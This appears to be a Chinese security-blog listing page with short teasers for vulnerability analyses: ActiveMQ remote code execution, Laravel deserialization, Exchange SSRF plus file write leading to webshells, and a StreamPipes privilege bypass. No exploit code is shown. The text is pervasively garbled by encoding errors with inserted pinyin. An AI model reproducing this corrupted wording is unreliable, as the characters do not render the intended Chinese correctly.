    瀏覽(19)
  • Apache ActiveMQ 遠(yuǎn)程代碼執(zhí)行漏洞分析

    Apache ActiveMQ官方發(fā)布新版本,修復(fù)了一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞(CNVD-2023-69477? CVE-2023-46604),攻擊者可構(gòu)造惡意請(qǐng)求通過Apache ActiveMQ的61616端口發(fā)送惡意數(shù)據(jù)導(dǎo)致遠(yuǎn)程代碼執(zhí)行,從而完全控制Apache ActiveMQ服務(wù)器。 影響版本 ? 環(huán)境搭建 沒有找到合適的 docker 鏡像 ,嘗試自己進(jìn)行

    2024年02月03日
    瀏覽(18)
  • Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)

    Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)

    反序列化漏洞是如今很常見的漏洞類型,有很多分類,也有很多繞過方式。本文選取了一個(gè)今年比較典型的反序列化漏洞,進(jìn)行了一個(gè)分析并復(fù)現(xiàn)。 Laravel是一套簡(jiǎn)潔、優(yōu)雅的PHP Web開發(fā)框架。 近日,Laravel 被披露存在多個(gè)安全漏洞,可允許通過反序列化POP鏈實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行

    2024年02月06日
    瀏覽(30)
  • CVE-2021–26855與CVE-2021–27065漏洞分析及復(fù)現(xiàn)

    CVE-2021–26855與CVE-2021–27065漏洞分析及復(fù)現(xiàn)

    文章首發(fā)先知社區(qū):https://xz.aliyun.com/t/10098 微軟在上半年三月披露了關(guān)于Exchange郵件服務(wù)器 CVE-2021–26855 (SSRF)與 CVE-2021–27065 (任意文件寫入)的漏洞,這兩個(gè)漏洞配合可以造成未授權(quán)的webshell寫入,是非常嚴(yán)重的高危漏洞。漏洞剛出來那會(huì)兒并未注意,正好前兩天4哥在群里發(fā)了個(gè)關(guān)

    2024年02月07日
    瀏覽(56)
  • 漏洞深度分析 | Apache StreamPipes 存在權(quán)限繞過漏洞導(dǎo)致垂直越權(quán)

    漏洞深度分析 | Apache StreamPipes 存在權(quán)限繞過漏洞導(dǎo)致垂直越權(quán)

    https://github.com/apache/streampipes Apache StreamPipes 使工業(yè)數(shù)據(jù)分析變得簡(jiǎn)單! StreamPipes 是工業(yè)物聯(lián)網(wǎng)的端到端工具箱。它帶有針對(duì)非技術(shù)用戶的豐富的圖形用戶界面,并提供以下功能: ?快速連接超過 20 種工業(yè)協(xié)議,例如 OPC-UA、PLC、MQTT、REST、Pulsar、Kafka 等。 ?使用超過 100 種算法

    2024年02月11日
    瀏覽(20)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包